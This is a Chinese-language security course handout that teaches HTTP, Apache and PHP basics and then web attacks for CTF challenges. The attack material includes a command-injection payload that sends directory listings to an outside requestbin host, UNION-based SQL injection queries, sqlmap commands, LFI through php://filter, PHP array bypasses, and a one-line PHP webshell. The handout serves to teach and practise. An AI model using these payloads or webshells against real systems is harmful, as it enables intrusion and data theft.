# NCTU CSC 109A - Web I https://reurl.cc/j5D012 #### 題目 https://bamboofox.cs.nctu.edu.tw/courses/12/challenges #### 目錄 [TOC] ## 基礎 - 網址 - 表單 - GET, POST - Cookie ## 瀏覽器 * - 按 F12 可打開開發者工具 (e.g. FireFox) - Inspect:可看瀏覽器解析過後的 HTML document - Network:可列出瀏覽器做的 HTTP request - Storage:可看or改 Cookie - Console:可以互動式地打 JavaScript 來執行 - 如何改 cookie > 🌝 [[Web] hello_web [1]](https://bamboofox.cs.nctu.edu.tw/courses/12/challenges/235) ## 如何架站 ### 什麼是 Web Server? - 一個開在某個 "TCP port" 上,用 "HTTP" 這個「協定」跟瀏覽器溝通的程式。 - 瀏覽器說要看哪個網頁,Web Server 會回瀏覽器該網頁內容 - 80 port (http) - 443 port (https) 有加密 ### 在 Linux 系統上用 Apache 架網站 #### 架 server (Linux) - VirtualBox + Linux ISO - https://www.virtualbox.org/wiki/Downloads - https://www.ubuntu-tw.org/modules/tinyd0/ - 用租的(有 public IP 到處都可以連): - Linode - Digital Ocean - AWS - Google Cloud #### 安裝 ```bash sudo apt install apache2 ``` #### 設定 - `/etc/apache2/apache2.conf` - `/etc/apache2/sites-available/000-default.conf` - `/etc/apache2/sites-available/` 寫不同 virtual host 的設定檔 - 將 `/etc/apache2/sites-available` 內的設定檔連結到 `/etc/apache2/sites-enabled` (apache 只會看 enabled 裡面的) #### 寫個網頁放上去 - `/var/www/html/index.html` ```html <h1>Test</h1> ``` - `/var/www/html/` 是預設的 document root #### 裝 php ```shell sudo apt install libapache2-mod-php7 ``` ### 前端 前端,就是伺服器傳給瀏覽器跑的東西,主要是使用者介面及和伺服器互動的程式。 - HTML - 定義網頁結構 - CSS - 定義網頁樣式 - JavaScript - 動態更新網頁 - 和伺服器溝通 ## 網頁檔案相關問題 ### robots.txt - `https://example.com/robots.txt` 是一個約定好的檔案,告訴 web bot 不要抓哪些路徑 - 此檔案常被用來找網站的敏感路徑! ### 網站設定 - Apache 設定檔寫 `Options +Indexes ...` → 若沒有 index 頁,會列出此目錄有哪些檔案 ### .git * - 很多人常把 git 目錄一起放到 document root(因為他可能用 GitHub 來存 code) - 大多因為部署時很方便,只要 git pull 就可以更新網站 - 有工具可以把整份 code 載下來,例如 git-dumper - git-dumper: https://github.com/arthaud/git-dumper > 🌝 [[Web] git_dump [1]](https://bamboofox.cs.nctu.edu.tw/courses/12/challenges/238) ### 上傳問題 - 如果我們能上傳任意副檔名的檔案,就可以上傳 xxx.php,若 apache (或其他 web server) 在上傳路徑也允許 php 檔案解析,就可以執行任意 php code。 - 此時我們可以上傳的 .php 檔案可被稱作後門,或 webshell ## HTTP 簡介 ### HTTP - **H**yper**T**ext **T**ransfer **P**rotocol #### HTTP 運作在 TCP/IP 上 - TCP/IP 大致行為 - server:在某個 IP 的某個 port 上等待連線 - client:對某個 server 的 IP位址 和 port 建立連線 - 兩者可同時互傳資料 - `nc (netcat)` 是一個可以用來建立或等待 TCP 連線的指令 ### 瀏覽器和伺服器的互動 - 瀏覽器發一個請求,伺服器給一個回應。 - 瀏覽器對伺服器建立TCP連線(一般來說是 port 80 或 443),並以 HTTP 作為訊息格式。 ### 請求 (request) 的長相 ``` GET /index.php HTTP/1.1 Host: www.google.com User-Agent: curl/7.64.1 Accept: */* ``` #### Method - GET - POST(可以搭配 body) - OPTIONS(取得資訊) - HEAD(令伺服器不回傳 body) - ... 還有各種 method #### Request URI (就是檔案路徑+參數) - `/robots.txt` - `/post?id=12345` - 有個參數 id 叫做 12345 - `/showUser?id=12345&name=%E9%BE%8D%E8%B2%93` - 有個參數 id 為 "12345" - 還有個參數 name,值為 "龍貓" (URL encode) #### Headers - `Content-Type` - request body 的資料類型 - `Content-Length` - request body 長度 (bytes) - `Cookie` - 伺服器儲存在瀏覽器的資料 #### Body 各種 `Content-Type` - `application/x-www-form-urlencoded`:表單預設 content type - `multipart/form-data`:上傳檔案用的 content type - `application/json`:JSON ### 回應 (response) 格式 ```http HTTP/1.1 200 OK Date: Sun, 19 Jul 2020 20:35:52 GMT Expires: -1 Content-Type: text/html; charset=... Content-Length: 12345 Server: abcdef Set-Cookie: key=value; expires=Tue, 18-Aug-2020 20:35:52 GMT; path=/; domain=xxx.com; Secure <!doctype html><html itemscope="............... ``` #### 狀態碼 (status code) 參考:https://developer.mozilla.org/zh-TW/docs/Web/HTTP/Status - 2xx 成功 - 200 OK - 3xx 不在這裡 - 301 Moved Permanently - 搭配 response header `Location: 網址` - 307 Temporary Redirect - 搭配 response header `Location: 網址` - 4xx 請求異常 - 400 Bad Request - 401 Unauthorized - 403 Forbidden - 404 Not Found - 5xx 伺服器異常 - 500 Internal Error - 502 Bad Gateway #### Headers - `Location` - 要重導向到哪裡? - `Set-Cookie` - 在瀏覽器上存 Cookie - https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Set-Cookie #### Body ### `curl` `curl` 是一個用來做 HTTP request 的指令,基本用法: ```bash # GET curl URL curl URL?user=123&pass=123 # POST curl URL -d 'user=123&pass=123' # POST multipart (file upload) curl URL -F 'file=@/path/to/the/file' curl URL -F 'file=@/path/to/the/file; filename=test.txt' # HEAD curl URL -I # Any HTTP method curl URL -X GET curl URL -X POST curl URL -X OPTIONS curl URL -X ANY_METHOD # Modify HTTP headers curl URL -H 'User-Agent: pooh' -H 'Foo: Bar, baz' # Request with cookies curl URL -b 'user=a920c234-bfea-4d42-9c5e-c8acb10b1730; other_cookie_name=other_cookie_value' # Save and use cookies curl URL -c cookies.txt curl URL -c cookies.txt -b cookies.txt # Show detailed request & response info (verbose) curl URL -v ``` 事實上 curl 還支援許多 protocol: DICT, FILE, FTP, FTPS, GOPHER, HTTP, HTTPS, IMAP, IMAPS, LDAP, LDAPS, POP3, POP3S, RTMP, RTSP, SCP, SFTP, SMB, SMBS, SMTP, SMTPS, TELNET, TFTP ## 後端入門 ### PHP 其中一種常出問題的後端語言。 #### 角色 - Apache 會把 request 丟給 PHP 這個程式處理,他會去讀 .php 檔案然後執行。 - PHP 直譯器會去找被 `<?php ?>` 包起來的 code,然後執行,程式的輸出會被插在 `<?php ?>` 的位置 例如 ```php Hello <?php echo 123; ?>!!! ``` 拿去執行會產生 ``` Hello 123!!! ``` #### 語言基礎 ```php // 基本上只有變數名稱要加 $ 比較特別一點 $a = 123; $a = 'test'; $a = ['an', 'array']; ``` - 弱型別:`$a = 123; $b = [1, 2, 3]; $c = ['a' => 123];` - 拿URL後的參數:`$_GET['x']` - 拿POST的參數:`$_POST['x']` - 列出變數:`var_dump($x)` - 列出PHP設定:`phpinfo()` - 設Cookie:`setcookie('a', '123')` - 拿Cookie:`$_COOKIE['a']` - Session:`session_start(); $_SESSION['x'] = 123;` - 重導向:`header('Location: http://other.com/');` ## 網頁程式設計:常見例子 ### 怎麼送出表單 格式 ```html <form action="(目標網址)" method="(HTTP Method)"> <input type="text" name="(欄位名稱)"> <input type="submit" value="送出"> </form> ``` #### 範例 1 (GET) 前端: ```html <form action="view.php" method="GET"> <input type="text" name="id"> <input type="submit" value="送出"> </form> ``` 後端: ```php <?php $id = $_GET['id']; ``` #### 範例 2 (POST) 前端: ```html <form action="login.php" method="POST"> <input type="text" name="username"> <input type="password" name="password"> <input type=submit value="Login"> </form> ``` 後端: ```php <?php $username = $_POST['username']; $password = $_POST['password']; ``` ### 後端怎麼處理你的請求 - Apache 會把 request 解析好,丟給 PHP - PHP 透過特殊變數存取 request 資訊 ### 送出表單之後,後端怎麼處理 - PHP: `$_GET` 會有網址後的參數 - PHP: `$_POST` 會有 request body 的表單參數 ### 網站如何記得你 - Server 回傳 `Set-Cookie` header,你收到 cookie 之後自己存起來 - 下次 request 到相同位置,你要夾帶 `Cookie` header,瀏覽器會看你的這些 header - Cookie 的作用範圍 - https://developer.mozilla.org/zh-TW/docs/Web/HTTP/Cookies#Cookies_%E7%9A%84%E4%BD%9C%E7%94%A8%E7%AF%84%E5%9C%8D ### 資料會存哪 - Cookies - Session(加密存瀏覽器 cookie,或存在伺服器上用 cookie 紀錄 ID,通常不讓你看或修改) - 只有前端可存取 - LocalStorage - SessionStorage - IndexedDB ### 用資料庫永久記錄你的資料 - 關聯式資料庫,通常使用 [SQL](https://www.w3schools.com/sql/) 作為和資料庫互動的媒介 - SQLite - MySQL - Postgres - 其他 - MongoDB - CouchDB - Redis - ... ### 網站該怎麼存你的密碼 - Hash - md5? - sha1? - 這裡面標綠色的 hash 演算法比較安全 https://www.wikiwand.com/zh-hant/SHA%E5%AE%B6%E6%97%8F#/SHA%E5%87%BD%E6%95%B0%E5%AF%B9%E6%AF%94 ### 怎麼上傳檔案 ```html <form method="post" action="upload.php" enctype="multipart/form-data"> <input type="file" name="upload_file"> <input type="submit"> </form> ``` 詳細做法可看 https://blog.gtwang.org/programming/php-upload-files-tutorial/。 #### 測試 php 程式碼 1. `php -a` (互動式執行) 2. `psysh` (互動式執行,要安裝) 3. `php -S 0.0.0.0:8000` (開發用的 server) ## 字串內插導致的問題 https://hackmd.io/Uo6MHovLR9CbLDABf1C2LQ ### Command Injection 假設有一個這樣的 PHP code: ```php $ip = $_GET['ip']; system("ping -c 1 $ip"); ``` - 你可以用 `ip=127.0.0.1; ls`,讓指令變成 `ping -c 1 127.0.0.1; ls` 來執行第二個指令。 - 一般來說,可以用 `$(sleep 10)` 來測有沒有 command injection 漏洞,或者 `'$(sleep 10)'` `"$(sleep 10"` - cmdi_2 ``` '$(curl${IFS}http://requestbin.net/r/1f5wwye1${IFS}-d${IFS}"$(ls)")' ``` ### SQL Injection \*\* 學 SQL:https://www.w3schools.com/sql/sql_select.asp ```php $user = $_POST['user']; $hash = md5($_POST['pass']); $db->query("SELECT * FROM users WHERE username='$user' AND hashed_password='$hash'"); ``` - 你可以POST `user=admin' -- &pass=123` 來修改 SQL 語句 → 導致最後資料庫以為你是要 `SELECT * FROM users WHERE username='admin' -- ' AND hashed_password='202cb962ac59075b964b07152d234b70'` → 最後執行的是 `SELECT * FROM users WHERE username='admin'` > 🌞 [[Web] basic_sqli [5]](https://bamboofox.cs.nctu.edu.tw/courses/12/challenges/236) MySQL 撈其他 table: ```sql SELECT * FROM users WHERE name=123 UNION SELECT 1 -- error SELECT * FROM users WHERE name=123 UNION SELECT 1,2 -- error SELECT * FROM users WHERE name=123 UNION SELECT 1,2,3 -- 2 SELECT * FROM users WHERE name=123 UNION SELECT 1,GROUP_CONCAT(table_schema),3 FROM information_schema.tables -- information_schema,db1 SELECT * FROM users WHERE name=123 UNION SELECT 1,GROUP_CONCAT(table_name),3 FROM information_schema.tables WHERE table_schema = 'db1' -- table1,table2,table3 SELECT * FROM users WHERE name=123 UNION SELECT 1,GROUP_CONCAT(column_name),3 FROM information_schema.columns WHERE table_name = 'table1' -- column1,column2,column3 SELECT * FROM users WHERE name=123 UNION SELECT 1,column1,3 FROM db1.table1 LIMIT 1 OFFSET 0 -- data ``` #### Error-based SQL injection 查詢結果會顯示在錯誤訊息的 sql injection。 #### Boolean-based SQL injection 只會回傳對錯(例如有沒有 select 到東西的 sql injection),可以慢慢猜出內容。 > 🌞 [[Web] blind_sqli [10]](https://bamboofox.cs.nctu.edu.tw/courses/12/challenges/236) #### Time-based SQL injection 使用 sleep(或者等效的 SQL 指令)判斷 SQL 條件式是否成立,藉此慢慢猜出內容。 #### Out-of-band SQL injection 透過其他管道送出 SQL 執行結果,例如 DNS, HTTP request 等等。 #### sqlmap 用法 ``` sqlmap -u http://example.com/?id=123 --random-agent sqlmap -u http://example.com/?id=123 --random-agent --dbs sqlmap -u http://example.com/?id=123 --random-agent --D db1 --tables sqlmap -u http://example.com/?id=123 --random-agent --D db1 -T table1 --columns sqlmap -u http://example.com/?id=123 --random-agent --sql-shell ``` ## PHP 的常見問題 ### 為什麼 PHP 很容易寫出爛 code - 容錯高,還有很多非預期的行為 - 例如:原本該放字串的地方放 array,該 function 只會回傳 NULL 和丟出一個 warning(可以用這個特性繞過檢查) - 用之前乖乖看 manual ### include() * 可以 include 別的 PHP 檔案,所以你不用所有東西都寫在一起。 ```php include("config.php"); include("homepage.php"); ``` #### LFI 以下範例,只要你能控制 `$page` 變數,你就可以 include 任何 php 檔案 ```php $page = $_GET['page']; include("pages/$page.php"); ``` 用 include 看原始碼(詳見 [php stream filter](https://www.php.net/manual/en/stream.filters.php)) ```php include('php://filter/convert.base64-encode/resource=xxx.php'); // base64 encode 過後不會被 PHP 直譯器解析 ``` > 🌞 [[Web] basic_lfi [5]](https://bamboofox.cs.nctu.edu.tw/courses/12/challenges/239) ### file_get_contents() 不只會看檔案路徑,也會處理網址! - `file://` - `http://` - `https://` ### strcmp() https://www.php.net/manual/en/function.strcmp.php ```php strcmp("test", "test"); // 0 strcmp("test", "test3"); // -1 strcmp("test3", "test"); // 1 strcmp("a", []); // NULL strcmp("a", []) == 0; // TRUE, with warning strcmp("a", []) === 0; // FALSE, with warning ``` ### md5(), sha1() 只要你能控制 hash function 的輸入值,就可以讓它回傳 NULL,藉此繞過檢查。 ```php md5('123'); // "202cb962ac59075b964b07152d234b70" md5([]); // NULL sha1('123'); // "40bd001563085fc35165329ea1ff5c5ecbdbbeef" sha1([]); // NULL ``` ### 如何塞 array 給 PHP `$_GET` 或 `$_POST` https://wp-mix.com/arrays-uri-requests/ ### PHP 特有的 Stream Filters 讀取路徑時,先把檔案內容經過某些處理: ```php file_get_contents('php://filter/convert.base64-encode/resource=test.php'); file_get_contents('php://filter/string.rot13/resource=test.php'); ``` ## 上傳問題 * 上傳檔名要檢查好,不然可以傳 webshell。如果上傳資料夾中的 .php 檔案會被解析,我們可以上傳 .php 來執行 code,以下俗稱一句話木馬: ```php <?php system($_GET['cmd']); ``` 還有更好用且多功能的 webshell: - https://github.com/b374k/b374k > 🌞 [[Web] image_upload [10]](https://bamboofox.cs.nctu.edu.tw/courses/12/challenges/240) ## 補充 ### Wargame - 可以玩玩看社團展的 wargame - https://bamboofox.cs.nctu.edu.tw/courses/10/challenges ### Bug Bounty 挖漏洞賺錢 - Hackerone - Bugcrowd ### 資源 - 凱哥的 Web CTF 小抄 https://github.com/w181496/Web-CTF-Cheatsheet - 某簡體中文 Web 安全筆記 https://websec.readthedocs.io/zh/latest/index.html - PortSwigger https://portswigger.net/web-security https://portswigger.net/research - Web 安全統整 https://github.com/qazbnm456/awesome-web-security - OWASP Top 10 https://owasp.org/www-project-top-ten/ - OSCP, Kali Linux, Metasploit 滲透相關的東東 - exploit-db.com/